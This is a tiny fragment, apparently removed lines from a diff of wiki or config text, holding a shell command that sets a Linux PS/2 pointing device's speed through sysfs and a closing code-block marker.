-echo -n 250 > /sys/devices/platform/i8042/serio1/serio2/speed
-}}}